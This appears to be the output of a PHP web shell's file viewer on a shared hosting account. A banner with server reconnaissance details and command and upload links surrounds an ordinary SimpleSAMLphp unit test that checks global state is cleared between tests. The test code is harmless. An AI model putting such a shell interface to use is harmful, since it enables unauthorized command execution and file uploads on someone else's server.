|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (2705) : /home/edizioni/stampaeweb/../.config/../gulfanatura/saml1190/tests/Utils/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
declare(strict_types=1);
namespace SimpleSAML\Test\Utils;
use SimpleSAML\Configuration;
use SimpleSAML\Error;
/**
* Test that ensures state doesn't spill over between tests
* @package SimpleSAML\Test\Utils
*/
class ReduceSpillOverTest extends ClearStateTestCase
{
/**
* Set some global state
* @return void
*/
public function testSetState(): void
{
$_SERVER['QUERY_STRING'] = 'a=b';
Configuration::loadFromArray(['a' => 'b'], '[ARRAY]', 'simplesaml');
$this->assertEquals('b', Configuration::getInstance()->getString('a'));
putenv('SIMPLESAMLPHP_CONFIG_DIR=' . __DIR__);
}
/**
* Confirm global state removed prior to next test
* @return void
* @throws \SimpleSAML\Error\ConfigurationError
*/
public function testStateRemoved(): void
{
$this->assertArrayNotHasKey('QUERY_STRING', $_SERVER);
/** @var false $env */
$env = getenv('SIMPLESAMLPHP_CONFIG_DIR');
$this->assertFalse($env);
try {
Configuration::getInstance();
$this->fail('Expected config configured in other tests to no longer be valid');
} catch (Error\ConfigurationError $error) {
// Expected error
}
}
}